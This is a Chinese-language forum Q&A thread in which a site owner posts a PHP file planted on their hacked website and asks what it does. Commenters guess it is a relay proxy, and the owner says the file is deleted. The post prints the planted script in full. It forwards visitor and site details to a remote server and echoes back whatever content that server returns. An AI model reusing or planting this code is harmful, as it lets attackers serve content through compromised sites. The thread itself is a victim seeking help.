V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
acburning
V2EX  ›  问与答

破站被黑了,目录下面多了个文件,请问这个具体是做什么的?

  •  
  •   acburning · 2018-11-12 20:09:14 +08:00 · 1532 次点击
    这是一个创建于 1962 天前的主题,其中的信息可能已经有所发展或是发生改变。
    <?php
    set_time_limit(0);
    header("Content-Type: text/html;charset=utf-8");
    date_default_timezone_set('PRC');
    $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);

    $Remote_server = "http://www.xxxx.xxx/";
    $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
    $url = $Remote_server."/site.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME'];


    if(function_exists("curl_init")) {
    $c=curl_init($url);
    if(defined("CURLOPT_ENCODING")) curl_setopt($c,CURLOPT_ENCODING,"");
    curl_setopt($c,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($c,CURLOPT_USERAGENT,$userAgent);
    curl_setopt($c,CURLOPT_VERBOSE,0);
    curl_setopt($c,CURLOPT_FOLLOWLOCATION,1);
    $Content_mb=curl_exec($c);
    }
    else {
    $options=array(
    'http'=>array(
    'method'=>'GET',
    'user_agent'=> $_SERVER['HTTP_USER_AGENT']
    )
    );
    $context = @stream_context_create($options);
    $Content_mb=file_get_contents($url, false, $context);
    }
    echo $Content_mb;

    ?>
    5 条回复    2018-11-12 21:19:45 +08:00
    mumbler
        1
    mumbler  
       2018-11-12 20:20:33 +08:00
    中转代理
    yidinghe
        2
    yidinghe  
       2018-11-12 20:25:44 +08:00
    通过你的服务器向其他服务器发送请求,但好像又不是 DDOS
    javashell
        3
    javashell  
       2018-11-12 20:38:18 +08:00 via Android
    我之前遇到过,只不过我的只有上半段的内容,至今没看出来什么意思
    acburning
        4
    acburning  
    OP
       2018-11-12 21:00:00 +08:00
    多谢大家,文件已经删了
    WEBUG
        5
    WEBUG  
       2018-11-12 21:19:45 +08:00 via Android
    怎么发现的
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   4929 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 34ms · UTC 09:50 · PVG 17:50 · LAX 02:50 · JFK 05:50
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.